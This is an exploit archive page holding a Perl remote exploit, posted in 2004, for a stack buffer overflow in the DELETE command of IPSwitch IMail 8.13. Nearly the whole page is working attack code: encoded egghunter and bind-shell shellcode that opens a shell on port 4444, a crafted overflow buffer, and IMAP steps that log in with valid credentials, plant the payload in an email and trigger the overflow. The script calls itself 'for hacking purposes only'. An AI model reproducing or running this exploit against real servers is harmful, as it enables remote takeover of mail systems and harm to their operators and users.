what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IPSwitch-IMail-8.13-DELETE.pl

IPSwitch-IMail-8.13-DELETE.pl
Posted Nov 20, 2004
Authored by Mati Aharoni, Zatlander | Site whitehat.co.il

Remote exploit for the IPSwitch-IMail 8.13 stack overflow in the DELETE command. Successful exploitation binds a shell to port 4444.

tags | exploit, remote, overflow, shell
SHA-256 | 34486ab358c7f8793e3c20cec33de6a9c6baf7c1e07b04a872a23d2c482b2059

IPSwitch-IMail-8.13-DELETE.pl

Change Mirror Download


#!/usr/bin/perl -w
###################################
#
# IPSwitch-IMail-8.13-DELETE
#
# Discovered by : Muts
# Coded by : Zatlander
# WWW.WHITEHAT.CO.IL
#
##################################
#
# Plain vanilla stack overflow in the DELETE command
# Restrictions:
# - Need valid authentication credentials
# - Input buffer only allows characters between x20 -> x7e
#
# Credits:
# - http://www.metasploit.org - HD Moore for the metasploit shellcode
# - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA ascii shellcode generator
# - http://www.hick.org - for the syscall egghunt code in the paper "Understanding Windows Shellcode"
#
##################################

use IO::Socket;
use Getopt::Std;
use Mail::IMAPClient;

print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";
print "C0d3d by Zatlander\n";
print "Discovered by Muts\n";
print "WWW.WHITEHAT.CO.IL\n";
print "For hacking purposes only!!!\n\n";

# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PLMvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA";
$egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PLMtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";

# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGnkbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvahGZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oRuFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGyjDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJKOKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";

getopts("h:u:p:", \%args);

if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
print "Usage: $0 -h [host] -u [username] -p [password]\n";
exit;}

$usr = $args{u};
$pwd = $args{p};
$host = $args{h};

# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
$jmp21 = "r!s!";

# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";

# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
$asciieh = "aAA" . $egghunter;
$asciisc = "w00tw00t" . $shellcode;
$email =
"From: \"The guy hacking you\" <a\@b.com>\r\n" .
"To: \"Poor You\" <b\@c.com>\r\n" .
"Subject: $asciisc\r\n" .
"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .
"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .
"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .
"Content-Transfer-Encoding: 7bit\r\n" .
"\r\n" .
$asciisc;

$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";

print "Login in to $host as $usr/$pwd\n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or die "Cannot connect: $@";
print "count: " . $imap->message_count("Inbox") . "\n";
print "Sending EGG\n";
$imap->select("Inbox") or die "Could not select: $@\n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
#print "retrieving $uid back: $msg\n";

print "Overflowing DELETE\n";
$imap->delete($payload) or die "Cannot delete: $@n";

print("Finished...\n");



Regards to all the WH dudes & milw0rm
We love you muts ;p
-- Jerome
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close